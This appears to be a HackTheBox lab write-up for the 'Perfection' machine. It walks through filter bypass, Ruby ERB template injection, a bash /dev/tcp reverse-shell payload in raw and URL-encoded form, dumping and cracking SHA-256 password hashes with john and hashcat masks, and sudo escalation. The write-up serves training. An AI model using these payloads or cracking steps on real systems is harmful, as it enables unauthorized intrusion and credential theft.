Perfection — HackTheBox
Perfection
Foothold
Starting with a Nmap TCP scan results with:
werz@win:~/ctf/htb/boxes/perfection$ cat nmap
# Nmap 7.93 scan initiated Fri Mar 22 14:35:45 2024 as: nmap -sCV -T4 -oN nmap 10.10.11.253
Nmap scan report for 10.10.11.253
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80e479e85928df952dad574a4604ea70 (ECDSA)
|_ 256 e9ea0c1d8613ed95a9d00bc822e4cfe9 (ED25519)
80/tcp open http nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 22 14:35:57 2024 -- 1 IP address (1 host up) scanned in 12.22 seconds
Checking out the web page
![[Pasted image 20240322182101.png|400]]![[Pasted image 20240322182133.png|400]]
This looks like a class grade calculator hosted using the ruby's WEBrick After unnecessarily fuzzing endpoints, I found that the web page use Sinatra framework because of the 404 response, ![[Pasted image 20240322185736.png|400]]
While playing around with the calculator that POST data (fields to calculate) to /weighted-grade-calc
endpoint, I figured out the following;
Passing a special character for example <
as a category (category1 parameter) returns Malicious input blocked
response
werz@win:~/ctf/htb/boxes/perfection$ curl -s 'http://10.10.11.253/weighted-grade-calc' --data-raw 'category1=<dsd&grade1=2&weight1=10&category2=dsd&grade2=1&weight2=10&category3=dsd&grade3
=3&weight3=10&category4=dsd&grade4=2&weight4=10&category5=dsd&grade5=2&weight5=60' | sed -n '105,115p'
</td>
</tr>
</table>
<button type="submit">Submit</button>
<p>Please enter a maximum of five category names, your grade in them out of 100, and their weight. Enter "N/A" into the category field and 0 into the grade and weight fields if you are not using a row.</p>
</form>
Malicious input blocked # Response
</div>
</div>
</div>
This hints that there's a form of input validation which could be leading to SSTI and as we already figured out that the web server uses Sinatra.
User
After enumerating and trying out some special characters to manipulate and bypass the form validation, I figured out that a whitespace new line worked, somehow,
test
+ %0d
test%0d<special-character>
and it worked fine category1=test%0a<dsd&grade1=2&weight1=10&category2=dsd&grade2=1&weight2=10&category3=dsd&grade3=3&weight3=10&category4=dsd&grade4=2&weight4=10&category5=dsd&grade5=2&weight5=60
werz@win:~/ctf/htb/boxes/perfection$ curl -s 'http://10.10.11.253/weighted-grade-calc' --data-raw 'category1=test%0a<dsd&grade1=2&weight1=10&category2=dsd&grade2=1&weight2=10&category3=dsd&grade3=3&weight3=10&category4=dsd&grade4=2&weight4=10&category5=dsd&grade5=2&weight5=60' | sed -n '105,115p'
</td>
</tr>
</table>
<button type="submit">Submit</button>
<p>Please enter a maximum of five category names, your grade in them out of 100, and their weight. Enter "N/A" into the category field and 0 into the grade and weight fields if you are not using a row.</p>
</form>
Your total grade is 2%<p>test
<dsd: 0%</p><p>dsd: 0%</p><p>dsd: 0%</p><p>dsd: 0%</p><p>dsd: 1%</p>
</div>
</div>
</div>
Injecting XSS worked perfectly fine, using category1=test%0a<script>document</script>
for example
We can try to inject SSTI payloads
Sinatra uses <%= %>
as the output tag similar to {{ }}
in Flask, and as this page indicates https://docs.ostorlab.co/kb/SERVER_SIDE_TEMPLATE_INJECTION/index.html
Using backticks to execute system level commands, we can build a payload like this:
category1=test%0a<%25=`id`%25>
Full:
category1=test%0a<%25=`id`
%25>&grade1=4&weight1=30&category2=fasfsa&grade2=1&weight2=30&category3=fas&grade3=1&weight3=20&category4=fasfas&grade4=1&weight4=10&category5=fasfsafas&grade5=1&weight5=10
You probably should URL encode key characters <%=
to <%25=
and %>
to %25>
This successfully responded with!
Your total grade is 1%<p>test
uid=1001(susan) gid=1001(susan) groups=1001(susan),27(sudo)
: 1%</p>
I'll get a reverse shell, using the pwncat-cs -p 9001
fancy listener
Reverse shell command:
bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'
Payload:
category1=test<%=`bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'`%>
Encoded Payload:
category1=test%0a<%25=`bash%20-c%20'bash%20-i%20%3e%26%20%2fdev%2ftcp%2f<IP>%2f<PORT>%200%3e%261'`
%25>
Full form Payload:
category1=test%0a<%25=`bash%20-c%20'bash%20-i%20%3e%26%20%2fdev%2ftcp%2f<IP>%2f<PORT>%200%3e%261'`
%25>&grade1=4&weight1=30&category2=fasfsa&grade2=1&weight2=30&category3=fas&grade3=1&weight3=20&category4=fasfas&grade4=1&weight4=10&category5=fasfsafas&grade5=1&weight5=10
Reverse shell should hit.
Root - Privilege Escalation
After looking around for any hook, I discovered the migration home folder that have a sqlite3 DB file pupilpath_credentials.db
that contain users encrypted passwords
(remote) susan@perfection:/home/susan/Migration$ strings pupilpath_credentials.db
SQLite format 3
tableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
Stephen Locke154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8S
David Lawrenceff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87aP
Harry Tylerd33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393O
Tina Smithdd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57Q
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
and I checked out the mail file for Susan
(remote) susan@perfection:/home/susan/ruby_app$ cat /var/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students
in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can. I am currently registering our university with the platform.
- Tina, your delightful student
This is pretty obvious at this point, we can generate a password wordlist:
with open("hashes", "r") as f:
lines = f.readlines()
for line in lines:
line = line.strip()
parts = line.split("|")
firstName, hash = parts[0].split(" ")[0] , parts[1]
format = f"{firstName.lower()}_{firstName.lower()[::-1]}_"
with open("wordlist", "a") as f:
print(f"Generating hashes for {firstName}")
for i in range(1, 1000000000):
f.write(f"{format}{i}\n")
if i % 1000000 == 0:
print(f"Generated {i} hashes")
This is not really recommended, we can simply use the John or Hashcat mask mode to use placeholders, John
john --format=raw-sha256 --mask=susan_nasus_?d?d?d?d?d?d?d?d?d susan.hash
Hashcat
hashcat -m 1400 susan.hash -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d
Use the cracked plain password to ssh
into susan
user
Remember, this is an easy machine, when checking the sudo
permissions Susan
user, it looks like we have full access;
susan@perfection:~$ sudo -l
[sudo] password for susan:
Matching Defaults entries for susan on perfection:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User susan may run the following commands on perfection:
(ALL : ALL) ALL
susan@perfection:~$ sudo cat /root/root.txt
<flag_hash>
And this is it!